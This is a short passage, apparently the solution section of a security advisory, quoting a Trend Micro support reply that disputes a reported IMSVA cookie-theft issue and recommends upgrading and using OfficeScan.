VI. SOLUTION
------------------------

Answer from Trend.

Hi William,


According to our Product Developers, this is not vulnerability of our
product. All of the cookies(not just IMSVA) can be stolen from a
compromised environment. It was highly suggested that you upgrade your
client to ensure safety.
Also, they recommended another Trend Micro Product  -"OfficeScan" that may
be suitable for your environment.

I hope this information helps. Please let me know if you have additional
questions or clarifications.

Have a great day!
